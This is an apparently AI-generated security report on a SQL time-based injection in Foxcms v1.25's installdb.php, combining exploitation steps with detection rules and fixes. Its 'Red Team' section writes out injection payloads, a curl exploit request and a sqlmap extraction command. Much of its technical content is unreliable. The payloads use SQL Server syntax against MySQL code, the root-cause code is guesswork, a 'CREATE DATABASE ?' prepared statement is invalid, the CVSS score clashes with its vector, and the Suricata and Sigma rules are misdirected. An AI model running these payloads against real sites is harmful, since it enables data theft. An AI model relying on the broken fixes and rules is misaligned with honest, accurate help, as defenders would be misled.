CVE-2025-46154

Executive Summary

CVE-2025-46154 identifies a critical SQL time-based injection vulnerability in Foxcms v1.25. The flaw resides in the $_POST['dbname'] parameter of installdb.php, allowing an unauthenticated attacker to inject malicious SQL queries that cause time delays, potentially leading to data exfiltration or further compromise. The vulnerability is publicly known but remains unpatched, with no official fix or advisory from the vendor. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is elevated due to the lack of a patch and the simplicity of exploitation.

Supply Chain & Package Security

Foxcms is a PHP-based content management system. This vulnerability affects the core installation script, which is typically executed once during setup. However, if the installdb.php file remains accessible post-installation, it poses a persistent risk. No package manager (e.g., Composer) is involved, so supply chain impact is limited to direct deployment of the vulnerable version.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability characteristics, a realistic assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the database.
• Confidentiality (C): High (H) – potential data extraction via blind injection.
• Integrity (I): High (H) – possible data modification.
• Availability (A): Low (L) – time delays may impact availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Estimated Score: 8.6 (High)

Threat Level: High – due to unauthenticated remote exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic SQL time-based injection in the installdb.php script. The $_POST['dbname'] parameter is directly concatenated into a SQL query without sanitization or parameterization. An attacker can inject SQL commands that cause time delays (e.g., SLEEP(5)), allowing blind data extraction.

Root Cause: The installdb.php script likely uses a query like:

$sql = "CREATE DATABASE " . $_POST['dbname'];

This allows injection of arbitrary SQL.

Attack Flow:

1. Attacker sends a POST request to installdb.php with a malicious dbname parameter.
2. The injected SQL executes, causing a time delay.
3. By observing response times, the attacker can infer true/false conditions and extract data character by character.

Example Payload:

'; IF (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a' WAITFOR DELAY '0:0:5' --

Vulnerable vs. Patched Code

Vulnerable Code (Foxcms v1.25):

// installdb.php (vulnerable)
$dbname = $_POST['dbname'];
$sql = "CREATE DATABASE " . $dbname;
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// installdb.php (patched)
$dbname = mysqli_real_escape_string($conn, $_POST['dbname']);
$sql = "CREATE DATABASE `" . $dbname . "`";
$result = mysqli_query($conn, $sql);

Or better, use prepared statements:

$stmt = $conn->prepare("CREATE DATABASE ?");
$stmt->bind_param("s", $_POST['dbname']);
$stmt->execute();

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Foxcms v1.25 installed and accessible.
• installdb.php file present (even after installation).

Exploitation Steps:

1. Identify the target: http://target/foxcms/installdb.php
2. Craft a time-based injection payload:

   curl -X POST http://target/foxcms/installdb.php \
     -d "dbname=test'%3B+IF+(1=1)+WAITFOR+DELAY+'0:0:5'--+"
   

3. Observe response time. If delay occurs, injection is successful.
4. Use a tool like sqlmap for automated extraction:

   sqlmap -u "http://target/foxcms/installdb.php" --data="dbname=test" --technique=T --time-sec=5 --batch
   

Example Payloads:

• Time delay: test'; WAITFOR DELAY '0:0:5'--
• Conditional: test'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--

Blue Team (Defensive)

Detection:

• Monitor for POST requests to installdb.php with unusual dbname parameters.
• Look for SQL keywords like WAITFOR, SLEEP, BENCHMARK, or IF in POST data.
• Use WAF rules to block time-based injection patterns.

Mitigation:

• Remove or restrict access to installdb.php after installation.
• Apply input validation and parameterized queries.
• Implement a Web Application Firewall (WAF) with SQL injection rules.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /installdb.php with dbname containing SQL keywords.
• Unusual response delays (e.g., >5 seconds) from the server.
• Repeated requests with varying dbname values.

File IOCs:

• Presence of installdb.php in the web root (should be removed after installation).
• Log entries showing SQL errors or timeouts.

Log Examples:

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "POST /installdb.php HTTP/1.1" 200 123 "-" "sqlmap/1.7"

Detection Engineering

YARA Rule

rule CVE_2025_46154_SQLi_TimeBased {
    meta:
        description = "Detects time-based SQL injection attempts targeting Foxcms installdb.php"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-46154"
    strings:
        $s1 = "WAITFOR" nocase
        $s2 = "SLEEP" nocase
        $s3 = "BENCHMARK" nocase
        $s4 = "dbname=" nocase
        $s5 = "installdb.php" nocase
    condition:
        all of ($s4, $s5) and any of ($s1, $s2, $s3)
}

Sigma Rule

title: Foxcms installdb.php Time-Based SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to installdb.php with time-based SQL injection payloads
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/installdb.php'
        cs-uri-query|contains: 'dbname='
    keywords:
        - 'WAITFOR'
        - 'SLEEP'
        - 'BENCHMARK'
        - 'IF'
    condition: selection and keywords
falsepositives:
    - Legitimate use of database names containing these words (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46154 Foxcms installdb.php Time-Based SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/installdb.php"; http_uri;
    content:"dbname="; http_client_body;
    pcre:"/(WAITFOR|SLEEP|BENCHMARK|IF)/i";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Remove or rename installdb.php from the web root after installation.
2. Restrict access to installdb.php via .htaccess or firewall rules (e.g., allow only localhost).
3. Apply input validation: sanitize the dbname parameter to allow only alphanumeric characters and underscores.

Long-Term Fix:

• Upgrade to a patched version if available (none currently).
• Implement parameterized queries or prepared statements in all database operations.
• Conduct a full security audit of the Foxcms codebase.

Workaround:

• Use a WAF to block SQL injection patterns.
• Monitor logs for suspicious activity and block offending IPs.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.